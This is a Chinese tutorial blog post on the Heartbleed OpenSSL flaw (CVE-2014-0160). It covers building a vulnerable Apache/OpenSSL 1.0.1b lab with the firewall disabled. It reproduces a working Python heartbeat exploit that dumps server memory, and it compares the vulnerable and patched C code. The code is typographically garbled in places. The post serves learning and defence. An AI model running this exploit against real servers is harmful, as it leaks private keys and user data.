心脏出血漏洞小学习

心脏出血漏洞小学习浅谈心脏出血漏洞心脏出血漏洞简述关于心脏出血漏洞环境的搭建漏洞poc原有漏洞展示修复后代码文章引用与特别鸣谢心脏出血漏洞简述引用百度百科的解释,心脏出血漏洞是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而…

大家好,又见面了,我是你们的朋友全栈君。

心脏出血漏洞简述

引用百度百科的解释,心脏出血漏洞是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而受到攻击。此问题的原因是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过读,即可以读取的数据比应该允许读取的还多

关于心脏出血漏洞环境的搭建

首先说明节点,第一点推荐在虚拟机上运行,第二点是下载有漏洞的版本,我们这里选择openssl-0.1.b,虚拟机环境为ubuntu,下载哪个版本按照个人情况选择。
环境搭建步骤如下:
#安装相应基础程序
apt update -y
apt install -y wget gcc make

#安装apache并解压
mkdir /home/temp/apache -p
cd /home/temp/apache
wget http://archive.apache.org/dist/httpd/httpd-2.2.34.tar.gz
tar xzvf httpd-2.2.34.tar.gz

#安装对应的openssl版本
mkdir /home/temp/openssl -p
cd /home/temp/openssl
wget http://www.openssl.org/source/openssl-1.0.1b.tar.gz
tar xzvf openssl-1.0.1b.tar.gz

#删掉以前的openssl
apt remove -y openssl

#编译并安装
mkdir /usr/local/ssl -p
cd openssl-1.0.1b
./config –prefix=/usr/local/ssl shared -fPIC no-gost
rm -f /usr/bin/pod2man
make
make install

#移除旧链接并进行新链接
rm /usr/lib/x86_64-linux-gnu/libssl.so -f
rm /usr/lib/x86_64-linux-gnu/libcrypto.so -f
rm /lib/x86_64-linux-gnu/libssl.so -f
rm /lib/x86_64-linux-gnu/libcrypto.so -f
cp /usr/local/ssl/lib/libssl.so /lib/x86_64-linux-gnu/
cp /usr/local/ssl/lib/libcrypto.so /lib/x86_64-linux-gnu/
cp /usr/local/ssl/lib/libssl.so /usr/lib/x86_64-linux-gnu/
cp /usr/local/ssl/lib/libcrypto.so /usr/lib/x86_64-linux-gnu/

#手动修改配置文件
mv /usr/bin/ssl /usr/bin/openssl.old
mv /usr/include/ssl /usr/include/openssl.old
ln -s /usr/local/ssl/bin/openssl /usr/bin/openssl
ln -s /usr/local/ssl/include/openssl /usr/include/openssl
ln -sf /usr/local/ssl/lib/libcrypto.so.1.0.0 /lib/libcrypto.so.6
echo “/usr/local/ssl/lib” >>/etc/ld.so.conf
ldconfig -v
#安装apache
mkdir /usr/local/httpd -p
mkdir /usr/local/apr -p
mkdir /usr/local/apr-util -p

cd /home/temp/apache/httpd-2.2.34/srclib/apr
./configure –prefix=/usr/local/apr
make
make install

cd /home/temp/apache/httpd-2.2.34/srclib/apr-util
./configure –prefix=/usr/local/apr-util/ –with-apr=/usr/local/apr
make
make install

cd /home/temp/apache/httpd-2.2.34
./configure –prefix=/usr/local/httpd –enable-so –enable-rewrite –enable-ssl –with-ssl=/usr/local/ssl –with-apr=/usr/local/apr –with-apr-util=/usr/local/apr-util
make
make install

安装完成后,vim /usr/local/httpd/conf/httpd.conf,修改配置文件,把其中的#include conf/extra/httpd-ssl.comf的”#”消掉
vim /usr/local/httpd/conf/extra/httpd-ssl.conf 确保端口是443端口
#生成秘钥和证书
openssl genrsa -out server.key 2048
openssl req -new -key server.key -out server.csr
openssl x509 -req -days 3650 -in server.csr -signkey server.key -out server.crt
#关掉防火墙
systemctl stop firewalld
#启动服务
cd /usr/local/httpd/bin
./apachectl start

漏洞poc

直接上代码

#!/usr/bin/python2
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage=’%prog server [options]’, description=‘Test for SSL heartbeat vulnerability (CVE-2014-0160)’)
options.add_option(’-p’, ‘–port’, type=‘int’, default=443, help=‘TCP port to test (default: 443)’)

def h2bin(x):
return x.replace(’ ‘, ‘’).replace(’\n’, ‘’).decode(‘hex’)

hello = h2bin(’’’
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
‘’’)

hb = h2bin(’’’
18 03 02 00 03
01 ff ff
‘’’)

def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ’ ‘.join(’%02X’ % ord© for c in lin)
pdat = ‘’.join((c if 32 <= ord© <= 126 else ‘.’ )for c in lin)
print ’ %04x: %-48s %s’ % (b, hxdat, pdat)
print

def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ‘’
remain = length
while remain > 0:
rtime = endtime – time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata

def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print ‘Unexpected EOF receiving record header – server closed connection’
return None, None, None
typ, ver, ln = struct.unpack(’>BHH’, hdr)
pay = recvall(s, ln, 10)
if pay is None:
print ‘Unexpected EOF receiving record payload – server closed connection’
return None, None, None
print ’ … received message: type = %d, ver = %04x, length = %d’ % (typ, ver, len(pay))
return typ, ver, pay

def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print ‘No heartbeat response received, server likely not vulnerable’
return False

    if typ == 24:
        print 'Received heartbeat response:'
        hexdump(pay)
        if len(pay) > 3:
            print 'WARNING: server returned more data than it should - server is vulnerable!'
        else:
            print 'Server processed malformed heartbeat, but did not return any extra data.'
        return True

    if typ == 21:
        print 'Received alert:'
        hexdump(pay)
        print 'Server returned error, likely not vulnerable'
        return False

def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
    typ, ver, pay = recvmsg(s)
    if typ == None:
        print 'Server closed connection without sending Server Hello.'
        return
    # Look for server hello done message.
    if typ == 22 and ord(pay[0]) == 0x0E:
        break

print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)

if name == ‘main’:
main()

原有漏洞展示

#ifndef OPENSSL_NO_HEARTBEATS
int
dtls1_process_heartbeat(SSL *s)
{

unsigned char *p = &s->s3->rrec.data[0], pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /
Use minimum padding */

/* Read type and payload length first */
hbtype = *p++;
/*宏n2s从指针p指向的数组中取出前两个字节,并把它们存入变量payload中——这实际上是心跳包载荷的长度域(length)。注意程序并没有检查这条SSLv3记录的实际长度。变量pl则指向由访问者提供的心跳包数据。*/
n2s(p, payload);
pl = p;

if (s->msg_callback)
	s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
		&s->s3->rrec.data[0], s->s3->rrec.length,
		s, s->msg_callback_arg);

/接下来,程序将分配一段由访问者指定大小的内存区域,这段内存区域最大为 (65535 + 1 + 2 + 16) 个字节。变量bp是用来访问这段内存区域的指针。/
if (hbtype == TLS1_HB_REQUEST)
{

unsigned char *buffer, *bp;
int r;

	/* Allocate memory for the response, size is 1 byte
	 * message type, plus 2 bytes payload length, plus
	 * payload, plus padding
	 */
	buffer = OPENSSL_malloc(1 + 2 + payload + padding);
	bp = buffer;

/宏s2n与宏n2s干的事情正好相反:s2n读入一个16 bit长的值,然后将它存成双字节值,所以s2n会将与请求的心跳包载荷长度相同的长度值存入变量payload。然后程序从pl处开始复制payload个字节到新分配的bp数组中——pl指向了用户提供的心跳包数据。最后,程序将所有数据发回给用户。/
/* Enter response type, length and copy payload */
bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
bp += payload;
/
Random padding */
RAND_pseudo_bytes(bp, padding);
return 0;
}

修复后代码

#ifndef OPENSSL_NO_HEARTBEATS
int dtls1_process_heartbeat(SSL *s)
{

unsigned char *p = &s->s3->rrec.data[0], pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /
Use minimum padding */

if (s->msg_callback)
    s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
                    &s->s3->rrec.data[0], s->s3->rrec.length,
                    s, s->msg_callback_arg);

/* Read type and payload length first */
if (1 + 2 + 16 > s->s3->rrec.length)
    return 0;               /* silently discard */
if (s->s3->rrec.length > SSL3_RT_MAX_PLAIN_LENGTH)
    return 0;               /* silently discard per RFC 6520 sec. 4 */

hbtype = *p++;
n2s(p, payload);
if (1 + 2 + payload + 16 > s->s3->rrec.length)
    return 0;               /* silently discard per RFC 6520 sec. 4 */
pl = p;
return 0;

}

文章引用与特别鸣谢

[1] https://blog.csdn.net/flurry_rain/article/details/82706375
[2] https://blog.huisa.win/2019/03/25/openssl-heartbleed/

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/160526.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号